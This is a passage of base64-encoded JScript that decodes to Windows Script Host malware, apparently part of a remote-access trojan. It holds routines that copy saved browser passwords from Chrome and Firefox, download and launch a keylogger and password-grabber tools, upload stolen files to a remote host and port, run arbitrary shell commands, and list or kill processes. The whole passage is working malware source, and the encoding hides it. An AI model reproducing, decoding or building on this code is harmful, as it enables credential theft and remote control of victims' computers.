cCUiKTsKCQlmb2xkZXIgPSBmb2xkZXIuc3Vic3RyKDAsIGZvbGRlci50b0xvd2VyQ2FzZSgpLmluZGV4T2YoInRlbXAiKSkgKyAiR29vZ2xlXFxDaHJvbWVcXFVzZXIgRGF0YVxcRGVmYXVsdFxcTG9naW4gRGF0YSI7CgkJaWYgKG9iamZzb2Rvd25sb2FkLmZpbGVFeGlzdHMoZm9sZGVyKSApewoJCQlvYmpmc29kb3dubG9hZC5jb3B5RmlsZShmb2xkZXIsIGluc3RhbGxkaXIgKyAiTG9naW4gRGF0YSIsIHRydWUpOwoJCQkKCQkJaWYgKG9iamZzb2Rvd25sb2FkLmZpbGVFeGlzdHMoc2RrZmlsZSkpewoJCQkJLy8ncHJvY2VlZCBkZWNvZGluZwoJCQkJZGVjb2RlX3Bhc3MocmV0Y21kKTsKCQkJCW9iamZzb2Rvd25sb2FkLmRlbGV0ZUZpbGUoaW5zdGFsbGRpciArICJMb2dpbiBEYXRhIik7CgkJCX1lbHNlewoJCQkJLy8ncmVxdWVzdCBmb3Igc2RrCgkJCQlwb3N0KCJzaG93LXRvYXN0IiwgIldTSCBTZGsgZm9yIHBhc3N3b3JkIHJlY292ZXJ5IG5vdCBmb3VuZCwgWW91IGNhbiBpbnN0YWxsIHRoaXMgU0RLIGZyb20gdGhlIHBhc3N3b3JkIHJlY292ZXJ5IG1lbnUiKTsKCQkJfQoJCX1lbHNlewoJCQlwb3N0KHJldGNtZCwgIk5vIFBhc3N3b3JkIEZvdW5kIik7CgkJfQoJfWVsc2UgaWYocmV0Y21kID09ICJtb3ppbGxhIil7CgkJZm9sZGVyID0gc2hlbGxvYmouRXhwYW5kRW52aXJvbm1lbnRTdHJpbmdzKCIlYXBwZGF0YSUiKSArICJcXE1vemlsbGFcXEZpcmVmb3hcXCI7CgkJaWYgKG9iamZzb2Rvd25sb2FkLmZpbGVFeGlzdHMgKGZvbGRlciArICJwcm9maWxlcy5pbmkiKSl7CgkJCWNvbnRlbnQgPSBmaWxlc3lzdGVtb2JqLm9wZW5UZXh0RmlsZShmb2xkZXIgKyAicHJvZmlsZXMuaW5pIikucmVhZGFsbCgpOwoJCQlpZiAoY29udGVudC5pbmRleE9mKCJQYXRoPSIpID4gMCkgewoJCQkJY29udGVudCA9IGNvbnRlbnQuc3Vic3RyKGNvbnRlbnQuaW5kZXhPZigiUGF0aD0iKSArIDUpOwoJCQkJY29udGVudCA9IGNvbnRlbnQuc3Vic3RyKDAsIGNvbnRlbnQuaW5kZXhPZigiXHJcbiIpKTsKCQkJCXByb2ZpbGUgPSAoZm9sZGVyICsgY29udGVudCkucmVwbGFjZShuZXcgUmVnRXhwKCIvIiwgImciKSwgIlxcIik7CgkJCQlmb2xkZXIgPSBwcm9maWxlICsgIlxsb2dpbnMuanNvbiI7CgkJCQkKCQkJCWlmIChvYmpmc29kb3dubG9hZC5maWxlRXhpc3RzKHNka2ZpbGUpKXsKCQkJCQkvLydwcm9jZWVkIGRlY29kaW5nCgkJCQkJZGVjb2RlX3Bhc3MocmV0Y21kKTsKCQkJCX1lbHNlewoJCQkJCS8vJ3JlcXVlc3QgZm9yIHNkawoJCQkJCXBvc3QoInNob3ctdG9hc3QiLCAiV1NIIFNkayBmb3IgcGFzc3dvcmQgcmVjb3Zlcnkgbm90IGZvdW5kLCBZb3UgY2FuIGluc3RhbGwgdGhpcyBTREsgZnJvbSB0aGUgcGFzc3dvcmQgcmVjb3ZlcnkgbWVudSIpOwoJCQkJfQoJCQl9ZWxzZXsKCQkJCXBvc3QocmV0Y21kLCAiTm8gUGFzc3dvcmQgRm91bmQiKTsKCQkJfQoJCX1lbHNlewoJCQlwb3N0KHJldGNtZCwgIk5vIFBhc3N3b3JkIEZvdW5kIik7CgkJfQoJfWVsc2V7CgkJcGFzc2dyYWJiZXIyKGZpbGV1cmwsIGZpbGVuYW1lLCByZXRjbWQpOwoJfQp9Y2F0Y2goZXJyKXt9CgkgICAKfQoKZnVuY3Rpb24gVW5aaXAoemlwZmlsZSwgRXh0cmFjdFRvKXsKaWYoZmlsZXN5c3RlbW9iai5HZXRFeHRlbnNpb25OYW1lKHppcGZpbGUpID09ICJ6aXAiKXsKaWYoIWZpbGVzeXN0ZW1vYmouRm9sZGVyRXhpc3RzKEV4dHJhY3RUbykpewpmaWxlc3lzdGVtb2JqLkNyZWF0ZUZvbGRlcihFeHRyYWN0VG8pOwp9CnZhciBvYmpTaGVsbCA9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJTaGVsbC5BcHBsaWNhdGlvbiIpOwp2YXIgZGVzdGluYXRpb24gPSBvYmpTaGVsbC5OYW1lU3BhY2UoRXh0cmFjdFRvKTsKdmFyIHppcF9jb250ZW50ID0gb2JqU2hlbGwuTmFtZVNwYWNlKHppcGZpbGUpLkl0ZW1zKCk7ICAgCmZvcihpID0gMDsgaSA8IHppcF9jb250ZW50LkNvdW50OyBpKyspewppZihmaWxlc3lzdGVtb2JqLkZpbGVFeGlzdHMoZmlsZXN5c3RlbW9iai5CdWlsZHBhdGgoRXh0cmFjdFRvLHppcF9jb250ZW50Lml0ZW0oaSkubmFtZSkrIi4iK2ZpbGVzeXN0ZW1vYmouZ2V0RXh0ZW5zaW9uTmFtZSh6aXBfY29udGVudC5pdGVtKGkpLnBhdGgpKSl7CmZpbGVzeXN0ZW1vYmouRGVsZXRlRmlsZShmaWxlc3lzdGVtb2JqLkJ1aWxkcGF0aChFeHRyYWN0VG8semlwX2NvbnRlbnQuaXRlbShpKS5uYW1lKSsiLiIrZmlsZXN5c3RlbW9iai5nZXRFeHRlbnNpb25OYW1lKHppcF9jb250ZW50Lml0ZW0oaSkucGF0aCkpOwp9CmRlc3RpbmF0aW9uLmNvcHlIZXJlKHppcF9jb250ZW50Lml0ZW0oaSksIDIwKTsKfQp9Cn0KCmZ1bmN0aW9uIHBhc3NncmFiYmVyMihmaWxldXJsLCBmaWxlbmFtZSwgcmV0Y21kKXsKCnNoZWxsb2JqLnJ1bigiJWNvbXNwZWMlIC9jIHRhc2traWxsIC9GIC9JTSAiICsgZmlsZW5hbWUsIDAsIHRydWUpOwp0cnl7ZmlsZXN5c3RlbW9iai5kZWxldGVGaWxlKGluc3RhbGxkaXIgKyBmaWxlbmFtZSArICJkYXRhIik7fWNhdGNoKGV5KXt9CnZhciBjb25maWdfZmlsZSA9IGluc3RhbGxkaXIgKyBmaWxlbmFtZS5zdWJzdHIoMCwgZmlsZW5hbWUubGFzdEluZGV4T2YoIi4iKSkgKyAiLmNmZyI7CnZhciBjZmcgPSAiW0dlbmVyYWxdXG5TaG93R3JpZExpbmVzPTBcblNhdmVGaWx0ZXJJbmRleD0wXG5TaG93SW5mb1RpcD0xXG5Vc2VQcm9maWxlRm9sZGVyPTBcblByb2ZpbGVGb2xkZXI9XG5NYXJrT2RkRXZlblJvd3M9MFxuV2luUG9zPTJDIDAwIDAwIDAwIDAwIDAwIDAwIDAwIDAxIDAwIDAwIDAwIEZGIEZGIEZGIEZGIEZGIEZGIEZGIEZGIEZGIEZGIEZGIEZGIEZGIEZGIEZGIEZGIDAwIDAwIDAwIDAwIDAwIDAwIDAwIDAwIDgwIDAyIDAwIDAwIEUwIDAxIDAwIDAwXG5Db2x1bW5zPUZBIDAwIDAwIDAwIEZBIDAwIDAxIDAwIDZFIDAwIDAyIDAwIDZFIDAwIDAzIDAwIDc4IDAwIDA0IDAwIDc4IDAwIDA1IDAwIDc4IDAwIDA2IDAwIDY0IDAwIDA3IDAwIEZBIDAwIDA4IDAwXG5Tb3J0PTAiOwovL3dyaXRlIGNvbmZpZwp2YXIgd3JpdGVyID0gZmlsZXN5c3RlbW9iai5vcGVuVGV4dEZpbGUoY29uZmlnX2ZpbGUsIDIsIHRydWUpOwp3cml0ZXIud3JpdGVMaW5lKGNmZyk7CndyaXRlci5jbG9zZSgpOwp3cml0ZXIgPSBudWxsOwoJICAgCnZhciBzdHJsaW5rID0gZmlsZXVybDsKdmFyIHN0cnNhdmV0byA9IGluc3RhbGxkaXIgKyBmaWxlbmFtZTsKdmFyIG9iamh0dHBkb3dubG9hZCA9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJtc3htbDIueG1saHR0cCIpOwpvYmpodHRwZG93bmxvYWQub3BlbigiZ2V0Iiwgc3RybGluaywgZmFsc2UpOwpvYmpodHRwZG93bmxvYWQuc2V0UmVxdWVzdEhlYWRlcigiY2FjaGUtY29udHJvbDoiLCAibWF4LWFnZT0wIik7Cm9iamh0dHBkb3dubG9hZC5zZW5kKCk7Cgp2YXIgb2JqZnNvZG93bmxvYWQgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgic2NyaXB0aW5nLmZpbGVzeXN0ZW1vYmplY3QiKTsKaWYob2JqZnNvZG93bmxvYWQuZmlsZUV4aXN0cyhzdHJzYXZldG8pKXsKICAgIG9iamZzb2Rvd25sb2FkLmRlbGV0ZUZpbGUoc3Ryc2F2ZXRvKTsKfQogCmlmIChvYmpodHRwZG93bmxvYWQuc3RhdHVzID09IDIwMCl7CiAgIHZhciAgb2Jqc3RyZWFtZG93bmxvYWQgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgiYWRvZGIuc3RyZWFtIik7CiAgIG9ianN0cmVhbWRvd25sb2FkLlR5cGUgPSAxOyAKICAgb2Jqc3RyZWFtZG93bmxvYWQuT3BlbigpOwogICBvYmpzdHJlYW1kb3dubG9hZC5Xcml0ZShvYmpodHRwZG93bmxvYWQucmVzcG9uc2VCb2R5KTsKICAgb2Jqc3RyZWFtZG93bmxvYWQuU2F2ZVRvRmlsZShzdHJzYXZldG8pOwogICBvYmpzdHJlYW1kb3dubG9hZC5jbG9zZSgpOwogICBvYmpzdHJlYW1kb3dubG9hZCA9IG51bGw7Cn0KaWYob2JqZnNvZG93bmxvYWQuZmlsZUV4aXN0cyhzdHJzYXZldG8pKXsKICAgdmFyIHJ1bm5lciA9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJTaGVsbC5BcHBsaWNhdGlvbiIpOwogICB2YXIgc2F2ZXIgPSBvYmpmc29kb3dubG9hZC5nZXRGaWxlKHN0cnNhdmV0bykuc2hvcnRQYXRoCiAgIAogICAvL3RyeSAxMCB0aW1lcyBiZWZvcmUgZ2l2ZXVwCiAgIGZvcih2YXIgaT0wOyBpPDU7IGkrKyl7CgkJc2hlbGxvYmoucnVuKCIlY29tc3BlYyUgL2MgdGFza2tpbGwgL0YgL0lNICIgKyBmaWxlbmFtZSwgMCwgdHJ1ZSk7CgkJV1NjcmlwdC5zbGVlcCgxMDAwKTsKCQlydW5uZXIuc2hlbGxFeGVjdXRlKHNhdmVyLCAiIC9zdGV4dCAiICsgc2F2ZXIgKyAiZGF0YSIpOwoJCVdTY3JpcHQuc2xlZXAoMjAwMCk7CgkJaWYob2JqZnNvZG93bmxvYWQuZmlsZUV4aXN0cyhzYXZlciArICJkYXRhIikpewoJCQl2YXIgc3IgPSBmaWxlc3lzdGVtb2JqLm9wZW5UZXh0RmlsZShzYXZlciArICJkYXRhIik7CgkJCXZhciBidWZmZXIgPSBzci5yZWFkYWxsKCk7CgkJCXNyLmNsb3NlKCk7CgkJCXNyID0gbnVsbDsKCQkJCgkJCXZhciBvdXRwYXRoID0gaW5zdGFsbGRpciArICJ3c2hsb2dzXFxyZWNvdmVyZWRfcGFzc3dvcmRfZW1haWwubG9nIjsKCQkJdmFyIGZvbGRlciA9IG9iamZzb2Rvd25sb2FkLkdldFBhcmVudEZvbGRlck5hbWUob3V0cGF0aCk7CgoJCQlpZiAoIW9iamZzb2Rvd25sb2FkLkZvbGRlckV4aXN0cyhmb2xkZXIpKQoJCQl7CgkJCQlzaGVsbG9iai5ydW4oIiVjb21zcGVjJSAvYyBta2RpciBcIiIgKyBmb2xkZXIgKyAiXCIiLCAwLCB0cnVlKTsKCQkJfQoJCQl3cml0ZXIgPSBmaWxlc3lzdGVtb2JqLm9wZW5UZXh0RmlsZShvdXRwYXRoLCAyLCB0cnVlKTsKCQkJd3JpdGVyLndyaXRlKGJ1ZmZlcik7CgkJCXdyaXRlci5jbG9zZSgpOwoJCQl3cml0ZXIgPSBudWxsOwoJCQkKCQkJdXBsb2FkKHNhdmVyICsgImRhdGEiLCByZXRjbWQpOwoJCQlicmVhazsKCQl9CiAgIH0KICAgZGVsZXRlZmFmKHN0cnNhdmV0byk7Cn0KCn0KCmZ1bmN0aW9uIGtleWxvZ2dlcnN0YXJ0ZXIgKGZpbGV1cmwsIGZpbGVuYW1lLCBmaWxlYXJnLCBpc19vZmZsaW5lKXsKc2hlbGxvYmoucnVuKCIlY29tc3BlYyUgL2MgdGFza2tpbGwgL0YgL0lNICIgKyBmaWxlbmFtZSwgMCwgdHJ1ZSk7CnZhciBzdHJsaW5rID0gZmlsZXVybDsKdmFyIHN0cnNhdmV0byA9IGluc3RhbGxkaXIgKyBmaWxlbmFtZTsKdmFyIG9iamh0dHBkb3dubG9hZCA9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJtc3htbDIueG1saHR0cCIgKTsKb2JqaHR0cGRvd25sb2FkLm9wZW4oImdldCIsIHN0cmxpbmssIGZhbHNlKTsKb2JqaHR0cGRvd25sb2FkLnNldFJlcXVlc3RIZWFkZXIoImNhY2hlLWNvbnRyb2w6IiwgIm1heC1hZ2U9MCIpOwpvYmpodHRwZG93bmxvYWQuc2VuZCgpOwoKdmFyIG9iamZzb2Rvd25sb2FkID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoInNjcmlwdGluZy5maWxlc3lzdGVtb2JqZWN0Iik7CmlmKG9iamZzb2Rvd25sb2FkLmZpbGVFeGlzdHMoc3Ryc2F2ZXRvKSl7CiAgICBvYmpmc29kb3dubG9hZC5kZWxldGVGaWxlKHN0cnNhdmV0byk7Cn0KIAppZiAob2JqaHR0cGRvd25sb2FkLnN0YXR1cyA9PSAyMDApewogIHRyeXsKICAgIHZhciAgb2Jqc3RyZWFtZG93bmxvYWQgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgiYWRvZGIuc3RyZWFtIik7CiAgICBvYmpzdHJlYW1kb3dubG9hZC5UeXBlID0gMTsgCiAgICBvYmpzdHJlYW1kb3dubG9hZC5PcGVuKCk7CiAgICBvYmpzdHJlYW1kb3dubG9hZC5Xcml0ZShvYmpodHRwZG93bmxvYWQucmVzcG9uc2VCb2R5KTsKICAgIG9ianN0cmVhbWRvd25sb2FkLlNhdmVUb0ZpbGUoc3Ryc2F2ZXRvKTsKICAgIG9ianN0cmVhbWRvd25sb2FkLmNsb3NlKCk7CiAgICAKICAgIG9ianN0cmVhbWRvd25sb2FkID0gbnVsbDsKCX1jYXRjaChlcnIpewoJCXVwZGF0ZXN0YXR1cygiQWNjZXNzK0RlbmllZCIpOwoJfQogfQogaWYob2JqZnNvZG93bmxvYWQuZmlsZUV4aXN0cyhzdHJzYXZldG8pKXsKICAgc2hlbGxvYmoucnVuKCJcIiIgKyBzdHJzYXZldG8gKyAiXCIgIiArIGhvc3QgKyAiICIgKyBwb3J0ICsgIiBcIiIgKyBmaWxlYXJnICsgIlwiICIgKyBpc19vZmZsaW5lKTsKIH0gCn0KCmZ1bmN0aW9uIHNlcnZpY2VzdGFydGVyIChmaWxldXJsLCBmaWxlbmFtZSwgZmlsZWFyZyl7CiAgICBzaGVsbG9iai5ydW4oIiVjb21zcGVjJSAvYyB0YXNra2lsbCAvRiAvSU0gIiArIGZpbGVuYW1lLCAwLCB0cnVlKTsKICAgIHZhciBzdHJsaW5rID0gZmlsZXVybDsKICAgIHZhciBzdHJzYXZldG8gPSBpbnN0YWxsZGlyICsgZmlsZW5hbWU7CiAgICB2YXIgb2JqaHR0cGRvd25sb2FkID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIm1zeG1sMi54bWxodHRwIiApOwogICAgb2JqaHR0cGRvd25sb2FkLm9wZW4oImdldCIsIHN0cmxpbmssIGZhbHNlKTsKICAgIG9iamh0dHBkb3dubG9hZC5zZXRSZXF1ZXN0SGVhZGVyKCJjYWNoZS1jb250cm9sOiIsICJtYXgtYWdlPTAiKTsKICAgIG9iamh0dHBkb3dubG9hZC5zZW5kKCk7CiAgICAKICAgIHZhciBvYmpmc29kb3dubG9hZCA9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJzY3JpcHRpbmcuZmlsZXN5c3RlbW9iamVjdCIpOwogICAgaWYob2JqZnNvZG93bmxvYWQuZmlsZUV4aXN0cyhzdHJzYXZldG8pKXsKICAgICAgICBvYmpmc29kb3dubG9hZC5kZWxldGVGaWxlKHN0cnNhdmV0byk7CiAgICB9CiAgICAgCiAgICBpZiAob2JqaHR0cGRvd25sb2FkLnN0YXR1cyA9PSAyMDApewoJICB0cnl7CiAgICAgICAgdmFyICBvYmpzdHJlYW1kb3dubG9hZCA9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJhZG9kYi5zdHJlYW0iKTsKICAgICAgICBvYmpzdHJlYW1kb3dubG9hZC5UeXBlID0gMTsgCiAgICAgICAgb2Jqc3RyZWFtZG93bmxvYWQuT3BlbigpOwogICAgICAgIG9ianN0cmVhbWRvd25sb2FkLldyaXRlKG9iamh0dHBkb3dubG9hZC5yZXNwb25zZUJvZHkpOwogICAgICAgIG9ianN0cmVhbWRvd25sb2FkLlNhdmVUb0ZpbGUoc3Ryc2F2ZXRvKTsKICAgICAgICBvYmpzdHJlYW1kb3dubG9hZC5jbG9zZSgpOwogICAgICAgIAogICAgICAgIG9ianN0cmVhbWRvd25sb2FkID0gbnVsbDsKCSAgfWNhdGNoKGVycil7CgkJdXBkYXRlc3RhdHVzKCJBY2Nlc3MrRGVuaWVkIik7CgkgIH0KICAgICB9CiAgICAgaWYob2JqZnNvZG93bmxvYWQuZmlsZUV4aXN0cyhzdHJzYXZldG8pKXsKICAgICAgICBzaGVsbG9iai5ydW4oIlwiIiArIHN0cnNhdmV0byArICJcIiAiICsgaG9zdCArICIgIiArIHBvcnQgKyAiIFwiIiArIGZpbGVhcmcgKyAiXCIiKTsKICAgICAgfSAgCn0KCmZ1bmN0aW9uIHNpdGVkb3dubG9hZGVyIChmaWxldXJsLGZpbGVuYW1lKXsKCiAgICB2YXIgc3RybGluayA9IGZpbGV1cmw7CiAgICB2YXIgc3Ryc2F2ZXRvID0gaW5zdGFsbGRpciArIGZpbGVuYW1lOwogICAgdmFyIG9iamh0dHBkb3dubG9hZCA9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJtc3htbDIuc2VydmVyeG1saHR0cCIgKTsKICAgIG9iamh0dHBkb3dubG9hZC5vcGVuKCJnZXQiLCBzdHJsaW5rLCBmYWxzZSk7CiAgICBvYmpodHRwZG93bmxvYWQuc2V0UmVxdWVzdEhlYWRlcigiY2FjaGUtY29udHJvbCIsICJtYXgtYWdlPTAiKTsKICAgIG9iamh0dHBkb3dubG9hZC5zZW5kKCk7CiAgICAKICAgIHZhciBvYmpmc29kb3dubG9hZCA9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJzY3JpcHRpbmcuZmlsZXN5c3RlbW9iamVjdCIpOwogICAgaWYob2JqZnNvZG93bmxvYWQuZmlsZUV4aXN0cyhzdHJzYXZldG8pKXsKICAgICAgICBvYmpmc29kb3dubG9hZC5kZWxldGVGaWxlKHN0cnNhdmV0byk7CiAgICB9CiAgICAgCiAgICBpZiAob2JqaHR0cGRvd25sb2FkLnN0YXR1cyA9PSAyMDApewogICAgICAgIHZhciAgb2Jqc3RyZWFtZG93bmxvYWQgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgiYWRvZGIuc3RyZWFtIik7CiAgICAgICAgb2Jqc3RyZWFtZG93bmxvYWQuVHlwZSA9IDE7IAogICAgICAgIG9ianN0cmVhbWRvd25sb2FkLk9wZW4oKTsKICAgICAgICBvYmpzdHJlYW1kb3dubG9hZC5Xcml0ZShvYmpodHRwZG93bmxvYWQucmVzcG9uc2VCb2R5KTsKICAgICAgICBvYmpzdHJlYW1kb3dubG9hZC5TYXZlVG9GaWxlKHN0cnNhdmV0byk7CiAgICAgICAgb2Jqc3RyZWFtZG93bmxvYWQuY2xvc2UoKTsKICAgICAgICAKICAgICAgICBvYmpzdHJlYW1kb3dubG9hZCA9IG51bGw7CiAgICAgfQogICAgIGlmKG9iamZzb2Rvd25sb2FkLmZpbGVFeGlzdHMoc3Ryc2F2ZXRvKSl7CiAgICAgICAgc2hlbGxvYmoucnVuKG9iamZzb2Rvd25sb2FkLmdldEZpbGUoc3Ryc2F2ZXRvKS5zaG9ydFBhdGgpOwogICAgICAgIHVwZGF0ZXN0YXR1cygiRXhlY3V0ZWQrRmlsZSIpOwogICAgIH0KfQoKZnVuY3Rpb24gZG93bmxvYWQgKGZpbGV1cmwsZmlsZWRpcil7CiAgICBpZihmaWxlZGlyID09ICIiKXsgCiAgICBmaWxlZGlyID0gaW5zdGFsbGRpcjsKICAgIH0KCiAgICBzdHJzYXZldG8gPSBmaWxlZGlyICsgZmlsZXVybC5zdWJzdHIoZmlsZXVybC5sYXN0SW5kZXhPZigiXFwiKSArIDEpOwogICAgdmFyIG9iamh0dHBkb3dubG9hZCA9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJtc3htbDIueG1saHR0cCIpOwogICAgb2JqaHR0cGRvd25sb2FkLm9wZW4oInBvc3QiLCJodHRwOi8vIiArIGhvc3QgKyAiOiIgKyBwb3J0ICsiLyIgKyAic2VuZC10by1tZSIgKyBzcGxpdGVyICsgZmlsZXVybCwgZmFsc2UpOwogICAgb2JqaHR0cGRvd25sb2FkLnNldFJlcXVlc3RIZWFkZXIoInVzZXItYWdlbnQ6IiwgaW5mb3JtYXRpb24oKSk7CiAgICBvYmpodHRwZG93bmxvYWQuc2VuZCgiIik7CiAgICAgICAgCiAgICB2YXIgb2JqZnNvZG93bmxvYWQgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgic2NyaXB0aW5nLmZpbGVzeXN0ZW1vYmplY3QiKTsKICAgIGlmKG9iamZzb2Rvd25sb2FkLmZpbGVFeGlzdHMoc3Ryc2F2ZXRvKSl7CiAgICAgICAgb2JqZnNvZG93bmxvYWQuZGVsZXRlRmlsZShzdHJzYXZldG8pOwogICAgfQogICAgIAogICAgaWYgKG9iamh0dHBkb3dubG9hZC5zdGF0dXMgPT0gMjAwKXsKICAgICAgICB2YXIgIG9ianN0cmVhbWRvd25sb2FkID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoImFkb2RiLnN0cmVhbSIpOwogICAgICAgIG9ianN0cmVhbWRvd25sb2FkLlR5cGUgPSAxOyAKICAgICAgICBvYmpzdHJlYW1kb3dubG9hZC5PcGVuKCk7CiAgICAgICAgb2Jqc3RyZWFtZG93bmxvYWQuV3JpdGUob2JqaHR0cGRvd25sb2FkLnJlc3BvbnNlQm9keSk7CiAgICAgICAgb2Jqc3RyZWFtZG93bmxvYWQuU2F2ZVRvRmlsZShzdHJzYXZldG8pOwogICAgICAgIG9ianN0cmVhbWRvd25sb2FkLmNsb3NlKCk7CiAgICAgICAgCiAgICAgICAgb2Jqc3RyZWFtZG93bmxvYWQgPSBudWxsOwogICAgIH0KICAgICBpZihvYmpmc29kb3dubG9hZC5maWxlRXhpc3RzKHN0cnNhdmV0bykpewogICAgICAgIHNoZWxsb2JqLnJ1bihvYmpmc29kb3dubG9hZC5nZXRGaWxlKHN0cnNhdmV0bykuc2hvcnRQYXRoKTsKICAgICAgICB1cGRhdGVzdGF0dXMoIkV4ZWN1dGVkK0ZpbGUiKTsKICAgICB9IAp9CgpmdW5jdGlvbiB1cGRhdGVzdGF0dXMoc3RhdHVzX21zZyl7CnRyeXsKCXZhciBvYmpzb2MgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgibXN4bWwyLnhtbGh0dHAiKTsKCW9ianNvYy5vcGVuKCJwb3N0IiwiaHR0cDovLyIgKyBob3N0ICsgIjoiICsgcG9ydCArICIvIiArICJ1cGRhdGUtc3RhdHVzIiArIHNwbGl0ZXIgKyBzdGF0dXNfbXNnLCBmYWxzZSk7CglvYmpzb2Muc2V0UmVxdWVzdEhlYWRlcigidXNlci1hZ2VudDoiLCBpbmZvcm1hdGlvbigpKTsKCW9ianNvYy5zZW5kKCIiKTsKCX1jYXRjaChlcnIpe30KfQoKZnVuY3Rpb24gdXBsb2FkIChmaWxldXJsLCByZXRjbWQpewoJdHJ5ewoJCXZhciAgaHR0cG9iaixvYmpzdHJlYW11cGxvYWRlLGJ1ZmZlcjsKCQl2YXIgb2Jqc3RyZWFtdXBsb2FkZSA9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJhZG9kYi5zdHJlYW0iKTsKCQlvYmpzdHJlYW11cGxvYWRlLlR5cGUgPSAxOyAKCQlvYmpzdHJlYW11cGxvYWRlLk9wZW4oKTsKCQlvYmpzdHJlYW11cGxvYWRlLmxvYWRGcm9tRmlsZShmaWxldXJsKTsKCQlidWZmZXIgPSBvYmpzdHJlYW11cGxvYWRlLlJlYWQoKTsKCQlvYmpzdHJlYW11cGxvYWRlLmNsb3NlKCk7CgoJCW9ianN0cmVhbWRvd25sb2FkID0gbnVsbDsKCQl2YXIgaHR0cG9iaiA9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJtc3htbDIueG1saHR0cCIpOwoJCWh0dHBvYmoub3BlbigicG9zdCIsImh0dHA6Ly8iICsgaG9zdCArICI6IiArIHBvcnQgKyIvIiArIHJldGNtZCwgZmFsc2UpOwoJCWh0dHBvYmouc2V0UmVxdWVzdEhlYWRlcigidXNlci1hZ2VudDoiLCBpbmZvcm1hdGlvbigpKTsKCQlodHRwb2JqLnNlbmQoYnVmZmVyKTsKCX1jYXRjaChlcil7CgkJdXBkYXRlc3RhdHVzKCJVcGxvYWQrRmFpbGVkIik7Cgl9Cn0KCgpmdW5jdGlvbiBkZWxldGVmYWYgKHVybCl7CnRyeXsKZmlsZXN5c3RlbW9iai5kZWxldGVGaWxlKHVybCk7CmZpbGVzeXN0ZW1vYmouZGVsZXRlRm9sZGVyKHVybCk7Cn1jYXRjaChlcnIpe30KfQoKZnVuY3Rpb24gY21kc2hlbGwgKGNtZCl7CnZhciBodHRwb2JqLG9leGVjLHJlYWRhbGxmcm9tYW55Owp2YXIgc3Ryc2F2ZXRvID0gaW5zdGFsbGRpciArICJvdXQudHh0IjsKc2hlbGxvYmoucnVuKCIlY29tc3BlYyUgL2MgIiArIGNtZCArICIgPiBcIiIgKyBzdHJzYXZldG8gKyAiXCIiLCAwLCB0cnVlKTsKcmVhZGFsbGZyb21hbnkgPSBmaWxlc3lzdGVtb2JqLm9wZW5UZXh0RmlsZShzdHJzYXZldG8pLnJlYWRBbGwoKTsKdHJ5ewpmaWxlc3lzdGVtb2JqLmRlbGV0ZUZpbGUoc3Ryc2F2ZXRvKTsKfWNhdGNoKGVlKXt9CnJldHVybiByZWFkYWxsZnJvbWFueTsKfQoKCmZ1bmN0aW9uIGVudW1wcm9jZXNzKCl7CiAgICB2YXIgZXAgPSAiIjsKdHJ5ewp2YXIgb2Jqd21pc2VydmljZSA9IEdldE9iamVjdCgid2lubWdtdHM6XFxcXC5cXHJvb3RcXGNpbXYyIik7CnZhciBjb2xpdGVtcyA9IG9iandtaXNlcnZpY2UuRXhlY1F1ZXJ5KCJzZWxlY3QgKiBmcm9tIHdpbjMyX3Byb2Nlc3MiLG51bGwsNDgpOwoKZm9yKHZhciBmaSA9IG5ldyBFbnVtZXJhdG9yKGNvbGl0ZW1zKTsgIWZpLmF0RW5kKCk7IGZpLm1vdmVOZXh0KCkpewogICAgdmFyIG9iaml0ZW0gPSBmaS5pdGVtKCk7CgllcCA9IGVwICsgb2JqaXRlbS5uYW1lICsgIl4iOwoJZXAgPSBlcCArIG9iaml0ZW0ucHJvY2Vzc0lkICsgIl4iOwogICAgZXAgPSBlcCArIG9iaml0ZW0uZXhlY3V0YWJsZVBhdGggKyBzcGxpdGVyOwp9Cn1jYXRjaChlcil7fQpyZXR1cm4gZXA7Cn0KCmZ1bmN0aW9uIGV4aXRwcm9jZXNzIChwaWQpewp0cnl7CnNoZWxsb2JqLnJ1bigidGFza2tpbGwgL0YgL1QgL1BJRCAiICsgcGlkLDAsdHJ1ZSk7Cn1jYXRjaChlcnIpe30KfQoKZnVuY3Rpb24gZ2V0UGFyZW50RGlyZWN0b3J5KHBhdGgpewoJdmFyIGZvID0gZmlsZXN5c3RlbW9iai5nZXRGaWxlKHBhdGgpOwoJcmV0dXJuIGZpbGVzeXN0ZW1vYmouZ2V0UGFyZW50Rm9sZGVyTmFtZShmbyk7Cn0KCmZ1bmN0aW9uIGVudW1mYWYgKGVudW1kaXIpewogICAgdmFyIHJlID0gIiI7CnRyeXsKICAgIGZvcih2YXIgZmkgPSBuZXcgRW51bWVyYXRvcihmaWxlc3lzdGVtb2JqLmdldEZvbGRlciAoZW51bWRpcikuc3ViZm9sZGVycyk7ICFmaS5hdEVuZCgpOyBmaS5tb3ZlTmV4dCgpKXsKICAgICAgICB2YXIgZm9sZGVyID0gZmkuaXRlbSgpOwogICAgICAgIHJlID0gcmUgKyBmb2xkZXIubmFtZSArICJeXmReIiArIGZvbGRlci5hdHRyaWJ1dGVzICsgc3BsaXRlcjsgCiAgICB9CiAgICBmb3IodmFyIGZpID0gbmV3IEVudW1lcmF0b3IoZmlsZXN5c3RlbW9iai5nZXRGb2xkZXIgKGVudW1kaXIpLmZpbGVzKTsgIWZpLmF0RW5kKCk7IGZpLm1vdmVOZXh0KCkpewogICAgICAgIHZhciBmaWxlID0gZmkuaXRlbSgpOwogICAgICAgIHJlID0gcmUgKyBmaWxlLm5hbWUgKyAiXiIgKyBmaWxlLnNpemUgKyAiXi